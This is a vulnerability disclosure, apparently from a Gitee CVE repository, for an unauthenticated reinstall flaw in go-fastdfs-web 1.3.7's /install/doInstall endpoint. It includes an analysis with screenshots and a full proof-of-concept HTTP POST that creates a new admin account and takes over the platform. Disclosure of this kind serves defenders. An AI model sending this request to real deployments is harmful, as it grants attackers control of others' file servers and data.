go-fastdfs-web 1.3.7 API doInstall Unauthorized Takeover Vulnerability

[PRODUCT]
[go-fastdfs-web](https://github.com/perfree/go-fastdfs-web)

[TYPE]
Unauthorized Takeover Vulnerability

[DESCRIPTION]
A vulnerability classified as a key was found in go-fastdfs-web 1.3.7. This problem will affect the file src/main/java/com/perfree/controller/InstallController.java file/install/doInstall interface. After the installation of the project, it will not Due to the deletion of its installation interface and installation route, the attacker can take over the platform through the second installation and obtain the system authority of the platform without authorization. The vulnerability has been disclosed to the public and may be used.

[ANALYZE]
In the src/main/java/com/perfree/controller/InstallController.java file, the /install/doInstall interface did not delete its installation interface and installation route after installation. The attacker can take over the platform through the second installation and operate on the platform:
![输入图片说明](https://foruda.gitee.com/images/1773720205066902481/4f41cef5_16822032.png "image-20260317113803438.png")

And the data of the InstallForm structure has not been strictly verified, such as whether the server can be reached, whether the mailbox meets the specifications, etc., resulting in unlimited registration to obtain user names and passwords and take over the platform:
![输入图片说明](https://foruda.gitee.com/images/1773720375511866363/38f84239_16822032.png "image-20260317114302515.png")

Then, through the created user login platform, you can obtain user information, server information and upload deleted files:
![输入图片说明](https://foruda.gitee.com/images/1773720247547994925/dd5b6a7f_16822032.png "image-20260317114220846.png")
![输入图片说明](https://foruda.gitee.com/images/1773720401767485402/c123d259_16822032.png "image-20260317114344693.png")

[POC]

```bash
POST /install/doInstall HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 189
Origin: http://127.0.0.1:8088
Connection: keep-alive
Referer: http://127.0.0.1:8088/install/
Cookie: JSESSIONID=320d33e9-8756-4bbb-83fe-9526baf73d25
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

Name=demm&name=12w&groupName=group1&serverAddress=http%3A%2F%2F127.0.0.1%3A8081&showAddress=http%3A%2F%2F127.0.0.1%3A8081&userName=Demo&account=Demo&password=123456&email=123%40qq.com
```
![输入图片说明](https://foruda.gitee.com/images/1773720284960495615/db168da2_16822032.png "image-20260317114516199.png")

应秀洁/cve

内容风险标识

评论 (0)

应秀洁/cve .gitee-modal { width: 500px !important; }

内容风险标识